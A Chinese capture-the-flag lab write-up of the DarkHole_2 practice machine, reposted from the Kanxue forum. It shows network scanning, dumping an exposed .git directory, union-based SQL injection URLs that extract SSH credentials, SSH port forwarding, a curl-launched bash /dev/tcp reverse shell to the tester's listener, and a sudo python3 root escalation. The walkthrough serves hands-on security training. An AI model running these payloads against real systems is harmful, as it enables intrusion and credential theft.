渗透测试练习——DarkHole_2靶场实践:涉及对.git文件的处理,sql注入及利用sudo提权

n_pc 2026-04-16 17:59 上海

看雪论坛作者ID:n_pc

DarkHole_2通关思路

1.启动靶机

2.开启 kali 的 nmap 进行扫描,确定靶机 ip

namp -sn 192.168.5.0/24

3.扫描靶机开放的端口和服务

nmap -sV 192.168.5.241 //-sV 为扫描端口运行服务的版本信息

4.根据扫描结果确定开放了 80 和 22 端口,然后访问一下 80 端口

5.扫描网站指纹,没有看到有价值的信息

whatweb 192.168.5.241

6.扫描目录

dirsearch http://192.168.5.241,可以看到有一个.git 目录

7.对.git目录进行操作

下载git-dump脚本,将源代码拔下来,我直接下载并放在kali上进行解压

tar -zxvf git-dumper-1.0.8.tar.gz

z表示使用gzip进行解压,适用于.tar.gz或.tgz类型的压缩文件

x表示从归档文件中提取文件,及解压

v表示显示详细过程

f指定要解压的文件名

执行脚本

pip install -r requirements.txt
sudo ./git_dumper.py http://192.168.5.241/.git hackgit
cd hackgit

可以看到扒下来的源代码,每一个都可以点进去看一看

利用git log命令可以查看日志

加密的地方为进行的具体操作,可以通过git diff命令进行查看

可以看到第二个加密内容里出现了sql语句,是登录的具体信息,可以得到账号和密码,[email protected]/321

8.得到密码之后登录

注意到id=1,可能存在注入

先判断数字型合适字符型,输入1=1和1=2返回一样,说明不是数字型,确定闭合是单引号还是双引号,结果为单引号。

因为应用程序大多数情况只会返回sql语句第一次查询的数据,所以让前面为false,回显我们需要的第二段查询的数据,使用

http://192.168.5.241/dashboard.php?id=-1' union select 1,database(),version(),4,@@datadir,@@basedir --+

http://192.168.5.241/dashboard.php?id=-1%27%20union%20select%201,database(),version(),4,group_concat(table_name),@@basedir%20from%20information_schema.tables%20where%20table_schema=database()%20--+

group_concat会查询所有能查到的数据并组合成一个字符串,也可以利用limit 2,1来一个一个查询。

继续查列名

http://192.168.5.241/dashboard.php?id=-1%27%20union%20select%201,database(),version(),4,group_concat(column_name),@@basedir%20from%20information_schema.columns%20where%20table_name=%27ssh%27--+

查询user列和pass列

http://192.168.5.241/dashboard.php?id=-1%27%20union%20select%201,2,3,4,group_concat(user,%27|%27,pass),@@basedir%20from%20ssh--+

9.拿到账密登录ssh

ssh jebad@192.168.5.241

10.进行信息收集

查看计划任务,发现有一个跟losy账户相关的计划任务

cat /etc/crontab

查看历史执行的命令,发现htttp://127.0.0.1:9999可以执行命令

cat .bash_history

查看端口开放情况,发现确实有9999端口运行着某个服务

这里虽然开着9999端口,但是并不能访问,需要用到ssh端口转发功能,关于ssh端口转发的详细知识点可以查看 https://zhuanlan.zhihu.com/p/148825449

11.kail新开一个窗口,配置ssh端口转发,并借此反弹交互式shell

将靶机的9999端口转发到kali的9999端口,冒号前面的9999代表kali的端口

ssh -L 9999:127.0.0.1:9999 jehad@192.168.5.241

kaili开启监听4444端口,利用靶机访问之前通过查询历史命令得到的url,执行命令弹shell到kali

curl http://127.0.0.1:9999/?cmd=bash+-c+%27bash+-i+%3e%26+%2fdev%2ftcp%2f192.168.5.235%2f4444+0%3e%261%27

kali成功接收到losy用户的shell

查询.bash_history得到losy用户的密码

新开一个窗口通过ssh登录losy,然后通过sudo -l查询可以通过sudo执行的命令,发现python3

12.通过python3反弹一个shell到kali,得到root权限的shell,查询/root/root.txt得到flag,结束

sudo /usr/bin/python3 -c 'import os;os.setuid(0);os.system("/bin/bash")'

*本文为看雪论坛优秀文章,由 n_pc原创,转载请注明来自看雪社区

图片

球分享

球点赞

球在看

点击阅读原文查看更多

阅读原文

跳转微信打开

原始链接: https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458613420&idx=1&sn=fc54ff404c5347378b8105cd2c20656e
侵权请联系站方: [email protected]

相关推荐

换一批